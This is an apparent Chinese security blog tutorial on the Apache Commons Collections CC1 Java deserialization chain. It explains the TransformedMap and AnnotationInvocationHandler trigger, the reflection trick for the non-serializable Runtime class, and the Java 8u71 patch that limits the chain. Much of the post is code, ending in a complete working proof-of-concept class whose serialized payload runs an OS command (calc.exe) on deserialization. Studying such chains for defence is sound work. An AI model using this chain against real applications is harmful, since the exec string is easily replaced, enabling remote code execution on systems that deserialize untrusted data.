给个关注?宝儿!
给个关注?宝儿!
给个关注?宝儿! 关注公众号:b1gpig信息安全,文章推送不错过
上一篇构造了一个了commons-collections的demo
【传送门】
package test.org.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"C:\\WINDOWS\\system32\\calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}
了解了Transformer,接下来尝试构建poc
这个漏洞核心,是想Map中加一个新的元素,在demo中,我们通过手工执行 outerMap.put(“test”, “xxxx”); 来出发漏洞。但是在实际反序列化中,还需要有一个雷,使他在反序列化readObject中有类似写入的操作
就是:sun.reflect.annotation.AnnotationInvocationHandler
AnnotationInvocationHandler的 readObject方法:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject()
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in
annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue :
memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
New AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
核心逻辑:Map.Entry
memberValues 就是反序列化后得到的Map,也是经过了TransformeMap 修饰的对象,这里遍历了他所有的元素,并以此设置值,在调用setValue设置时,会触发TransformedMap里注册的Transform ,然后继续执行我们设计的任意代码。
故在构造poc时,需要创建一个AnnotationInvocationHandler对象,并将前面构造的HashMap设置尽量
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
这里的sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使用new来实例化。我们使用反射获取他的构造方法,并将他设置成外部可见的,在调用就可以实例化了。
AnnotationInvocationHandler类的构造函数有两个参数: Annotation类 和 前面构造的Map。
上一篇构造了 AnnotationInvocationHandler对象, 他就是我们反序列化利用链的七点,我们通过如下代码将这个对象生成序列化流
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

在writeObject的时候出现异常: java.io.NotSerializableException: java.lang.Runtime 。
因为,java 中并非所有对象都支持序列化,待序列化的对象和所有他使用的内部属性对象,必须都实现 java.io.Serializable接口。
而我们最早传给 ConstantTransformer的事 Runtime.getRuntime(), Runtime 类是没有实现 java.io.Serializable接口,所有不允许被序列化。
那么,就需要通过反射的方式,获取当前上下文中的Runtime的对象,而不需要直接使用这个类
Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
转换成Transformer写法:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class },new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "C:\WINDOWS\system32\calc.exe" }),
};
其实和demo最大的区别就是将 Runtime.getRuntime() 换成了 Runtime.class ,前者是一个
java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所
以可以被序列化。
修改Transformer数组后再次运行,发现这次没有报异常,而且输出了序列化后的数据流,但是反序列
化时仍然没弹出计算器,这是为什么呢?
这个实际上和AnnotationInvocationHandler类的逻辑有关,我们可以动态调试就会发现,在
AnnotationInvocationHandler:readObject 的逻辑中,有一个if语句对var7进行判断,只有在其不
是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞:
那么如何让这个var7不为null呢?这一块我就不详细分析了,还会涉及到Java注释相关的技术。直接给
出两个条件:
innerMap.put("value", "xxxx");
但是这段poc有局限性,我们的环境是java 8u71 以前的,在8u71后2015年12越时,Java
官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数:http://h
g.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d
对于这次修改,有些文章说是因为没有了setValue,其实原因和setValue关系不大。改动后,不再直接
使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。
所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执
行set或put操作,也就不会触发RCE了。
我们这一章将上一章给出的demo扩展成为了一个真实可利用的POC,完整代码如下:
package org.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0]
}),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"C:\WINDOWS\system32\calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
但是这个Payload有一定局限性,在Java 8u71以后的版本中,由于
sun.reflect.annotation.AnnotationInvocationHandler 发生了变化导致不再可用,原因前文也说
了。
看ysoserial就没有使用这个TransformeMap,而是使用了LazyMap。
即使使用LazyMap仍然无法在高版本的Java中使用这条利用链,主要原因还是出在
sun.reflect.annotation.AnnotationInvocationHandler 这个类的修改上